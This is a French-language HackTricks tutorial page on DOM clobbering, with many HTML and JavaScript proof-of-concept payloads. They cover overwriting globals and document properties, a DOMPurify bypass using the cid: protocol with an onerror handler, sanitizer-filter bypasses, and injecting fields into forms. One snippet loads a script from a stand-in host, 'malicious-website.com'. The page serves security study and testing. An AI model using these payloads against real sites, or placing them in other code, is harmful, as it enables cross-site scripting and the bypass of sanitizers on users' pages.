14 KiB
Dom Clobbering
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Fondamentaux
Il est possible de générer des variables globales à l'intérieur du contexte JS avec les attributs id
et name
dans les balises HTML.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Seuls certains éléments peuvent utiliser l'attribut name pour écraser les globaux, ce sont : embed
, form
, iframe
, image
, img
et object
.
De manière intéressante, lorsque vous utilisez un élément de formulaire pour écraser une variable, vous obtiendrez la valeur toString
de l'élément lui-même : [object HTMLFormElement]
mais avec ancre le toString
sera le href
de l'ancre. Par conséquent, si vous écrasez en utilisant la balise a
, vous pouvez contrôler la valeur lorsqu'elle est traitée comme une chaîne :
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Tableaux et Attributs
Il est également possible de surcharger un tableau et les attributs d'un objet :
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Pour écraser un 3ème attribut (par exemple x.y.z), vous devez utiliser un form
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Cibler plus d'attributs est plus compliqué mais toujours possible, en utilisant des iframes :
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} La balise style est utilisée pour donner suffisamment de temps à l'iframe pour se rendre. Sans cela, vous obtiendrez une alerte indéfinie. {% endhint %}
Pour écraser des attributs plus profonds, vous pouvez utiliser des iframes avec un encodage html de cette manière :
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Contournement de filtre
Si un filtre boucle à travers les propriétés d'un nœud en utilisant quelque chose comme document.getElementByID('x').attributes
, vous pourriez écraser l'attribut .attributes
et casser le filtre. D'autres propriétés DOM comme tagName
, nodeName
ou parentNode
et d'autres encore sont également écrasables.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Écrasement de window.someObject
En JavaScript, il est courant de trouver :
var someObject = window.someObject || {};
Manipuler le HTML sur la page permet de remplacer someObject
par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer someObject
par un élément d'ancre pointant vers un script malveillant :
<a id=someObject href=//malicious-website.com/malicious.js></a>
Dans un code vulnérable tel que :
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Ce méthode exploite la source du script pour exécuter du code non désiré.
Astuce: DOMPurify
vous permet d'utiliser le protocole cid:
, qui n'encode pas en URL les guillemets doubles. Cela signifie que vous pouvez injecter un guillemet double encodé qui sera décodé à l'exécution. Par conséquent, injecter quelque chose comme <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
fera en sorte que l'encodage HTML "
soit décodé à l'exécution et s'échappe de la valeur de l'attribut pour créer l'événement onerror
.
Une autre technique utilise un élément form
. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un input
avec id=attributes
à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.
Vous pouvez trouver un exemple de ce type de clobbering dans ce compte rendu de CTF.
Écrasement de l'objet document
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:
L'interface Document prend en charge les propriétés nommées. Les noms de propriétés pris en charge d'un objet Document document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs id venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
- La valeur de l'attribut de contenu name pour tous les éléments exposés embed, form, iframe, img, et les éléments exposés object qui ont un attribut de contenu name non vide et sont dans un arbre de document avec le document comme leur racine;
- La valeur de l'attribut de contenu id pour tous les éléments exposés object qui ont un attribut de contenu id non vide et sont dans un arbre de document avec le document comme leur racine;
- La valeur de l'attribut id pour tous les éléments img qui ont à la fois un attribut de contenu id non vide et un attribut de contenu name non vide, et sont dans un arbre de document avec le document comme leur racine.
En utilisant cette technique, vous pouvez remplacer des valeurs couramment utilisées telles que document.cookie
, document.body
, document.children
, et même des méthodes dans l'interface Document comme document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Écriture après l'élément écrasé
Les résultats des appels à document.getElementById()
et document.querySelector()
peuvent être modifiés en injectant une balise <html>
ou <body>
avec un attribut id identique. Voici comment cela peut être fait :
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le innerText
peut être évitée, améliorant ainsi l'efficacité de l'attaque:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Les investigations sur SVG ont révélé qu'une balise <body>
peut également être utilisée de manière efficace :
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise <foreignobject>
est nécessaire :
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Substitution de formulaires
Il est possible d'ajouter de nouvelles entrées à l'intérieur d'un formulaire simplement en spécifiant l'attribut form
à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour ajouter de nouvelles valeurs à l'intérieur d'un formulaire et même ajouter un nouveau bouton pour l'envoyer (clickjacking ou en abusant de certains codes JS .click()
):
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Pour plus d'attributs de formulaire, consultez ce lien.
Références
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript pour les hackers : Apprenez à penser comme un hacker.
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord](https://discord.gg/hRep4RUj7f) ou le groupe Telegram](https://t.me/peass) ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PRs au repo hacktricks et au repo hacktricks-cloud.